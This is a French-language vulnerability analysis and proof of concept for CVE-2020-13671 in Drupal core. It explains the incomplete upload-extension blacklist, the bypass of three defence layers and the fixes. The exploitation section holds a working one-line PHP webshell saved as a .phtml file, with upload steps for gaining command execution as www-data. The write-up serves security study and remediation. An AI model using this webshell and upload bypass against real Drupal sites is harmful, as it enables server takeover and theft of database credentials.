
Analyse détaillée et preuve de concept pour CVE-2020-13671, une vulnérabilité d'exécution de code à distance du noyau Drupal via l'upload de fichiers, incluant la cause racine, les étapes d'exploitation et la remédiation.
Logiciel : Drupal Core 8.7.5 (Versions affectées : 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS : 8.8 (Élevé)
CWE : CWE-434 — Téléversement sans restriction de fichier de type dangereux
CISA KEV : Oui — Vulnérabilité connue et exploitée
Avis : SA-CORE-2020-012
Drupal est un système de gestion de contenu (CMS) open source écrit en PHP, similaire à WordPress ou Joomla, mais davantage orienté vers la construction de systèmes plus complexes — sites d'entreprise, plateformes multilingues. Drupal utilise une architecture modulaire, permettant d'étendre les fonctionnalités en activant/désactivant les modules disponibles ou en installant des modules supplémentaires issus de la communauté.
L'une des fonctions de base de tout CMS est de permettre aux utilisateurs de téléverser des fichiers — avatars de profil, documents joints, pièces jointes dans les articles. Drupal enregistre ces fichiers dans le répertoire sites/default/files/ et les sert directement via le serveur web (Apache ou Nginx).
⇒ Cela crée une surface d'attaque évidente : si un attaquant parvient à téléverser un fichier PHP dans ce répertoire, le serveur web l'exécutera lorsqu'il sera accédé via une requête entrante.
Pour empêcher cela, Drupal met en place plusieurs couches de défense : validation des extensions de fichiers, renommage des fichiers dangereux, placement d'un .htaccess pour bloquer l'exécution de scripts dans le répertoire de téléversement. Mais dans la version 8.7.5, les attaquants exploitent exactement l'angle mort de ces couches.
Cette vulnérabilité nécessite un compte disposant des autorisations de téléversement de fichiers. Par défaut dans Drupal 8.7.5, les utilisateurs réguliers (Authenticated) n'ont que les autorisations de voir le contenu et de poster des commentaires — aucune autorisation de créer des articles ou de téléverser des fichiers.
| Compte | Exploitable ? | Explication |
|---|---|---|
| Admin | Oui | Autorisations de téléversement complètes |
| Éditeur / Créateur de contenu | Oui | Si la permission « Créer du contenu » avec téléversement est accordée par l'admin |
| Utilisateur authentifié (par défaut) | Non | Par défaut, aucune permission de créer du contenu ou de téléverser |
| Anonyme (non connecté) | Non | Aucune permission de téléversement |
Cependant, dans la pratique, de nombreux sites Drupal accordent aux utilisateurs réguliers des permissions de création de contenu (forums, blogs communautaires, sites d'actualités permettant la soumission d'articles). Dans ces cas, un attaquant n'a besoin que de créer un compte pour l'exploiter.
Déroulement de l'attaque :
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
Dans le fichier core/modules/file/file.module, il existe une seule regex qui détermine quels fichiers sont considérés comme exécutables :
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Cette regex liste 7 extensions : phar, php, pl, py, cgi, asp, js. Tout fichier dont l'extension correspond à cette liste se verra automatiquement ajouter .txt par Drupal — neutralisant ainsi sa capacité d'exécution.
Cependant, le moteur PHP ne traite pas uniquement les fichiers .php. Selon la configuration du serveur web, il reconnaît et exécute également d'autres extensions :
| Extension | Signification | Incluse dans la regex ? |
|---|---|---|
.php | PHP standard | Oui |
.phtml | Template alternatif PHP | Non |
.php5 | Gestionnaire PHP 5 | Non |
.pht | Template PHP | Non |
.phps | Source PHP | Non |
.shtml | Server-Side Includes | Non |
5 variantes d'extension PHP sont complètement absentes de la regex. Cela signifie qu'un fichier nommé shell.phtml envoyé à Drupal → la regex ne correspond pas → pas de renommage → enregistré avec son nom d'origine dans le répertoire de téléversement → le serveur web voit .phtml → l'exécute en tant que PHP → l'attaquant obtient une RCE. C'est la cause racine : Drupal utilisait une liste noire pour bloquer les extensions dangereuses, mais cette liste était incomplète.
Lorsqu'un utilisateur téléverse un fichier, Drupal le fait passer par 3 fonctions de validation avant l'enregistrement. Voici une analyse de la raison pour laquelle ces 3 fonctions échouent avec .phtml.
file_munge_filename() (core/includes/file.inc)Objectif : détecter les extensions dangereuses situées au milieu du nom de fichier et ajouter _ pour les neutraliser. Comment fonctionne cette fonction :

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Par exemple avec shell.phtml :
explode divise en ["shell", "phtml"]shift prend "shell", laissant ["phtml"]pop prend "phtml", laissant []foreach ne s'exécute pas"shell.phtml" intactCependant, si le fichier n'a qu'une seule extension, cette fonction n'intervient pas. Elle est donc uniquement conçue pour traiter les fichiers avec plusieurs extensions.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)C'est la couche de défense principale. Code à la ligne 1015 :

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Si le nom de fichier correspond à la regex → le MIME est changé en text/plain et .txt est ajouté à la fin.
Avec shell.phtml :
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') retourne 0.phtml est dangereux, elle passe au travers..htaccess dans le répertoire de téléversementDrupal place un fichier .htaccess dans sites/default/files/ :
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
La directive php_flag engine off désactive le moteur PHP pour tout le répertoire, mais elle ne s'applique qu'à mod_php5. Drupal 8.7.5 fonctionne sur PHP 7, ce qui signifie que mod_php7 est actif et non désactivé.
Et .htaccess présente également 3 autres faiblesses :
.htaccess — ce fichier est complètement inefficace sur NginxAllowOverride None → .htaccess est ignorémod_php → la directive php_flag n'a aucun effetecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Connectez-vous à Drupal avec un compte disposant des autorisations de téléversement → Contenu → Ajouter du contenu → Article → dans le champ Image, sélectionnez le fichier webshell.phtml → Téléverser.
Drupal accepte le fichier, ne le renomme pas, et l'enregistre avec son nom d'origine dans sites/default/files/.

Après cela, exécutez l'appel shell avec whoami :

Ainsi, nous avons réussi à obtenir une RCE en tant que www-data.
Test supplémentaire pour afficher les identifiants :

L'attaquant peut lire settings.php contenant les identifiants de la base de données, dumper toute la base, installer un reverse shell, ou élever ses privilèges jusqu'à root.
Mettre à jour la regex — ajouter les 5 extensions manquantes :
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Mettre à jour .htaccess — ajouter la désactivation pour mod_php7 :
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
Le patch fonctionne mais repose toujours sur une liste noire. Si de nouvelles extensions apparaissent à l'avenir (.php8, .phpt), la regex devra être à nouveau mise à jour. Une liste blanche — n'autorisant que les extensions connues comme sûres — serait une approche plus rigoureuse.
| Fichier vulnérable | core/modules/file/file.module ligne 28 |
|---|---|
| Cause racine | La liste noire de la regex ne contient pas .phtml, .php5, .pht, .phps, .shtml |
| Impact | Téléversement de .phtml → exécution par le serveur → RCE |
| 3 couches de défense contournées | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Correctif | Ajouter 5 extensions à la regex + désactiver mod_php7 dans .htaccess |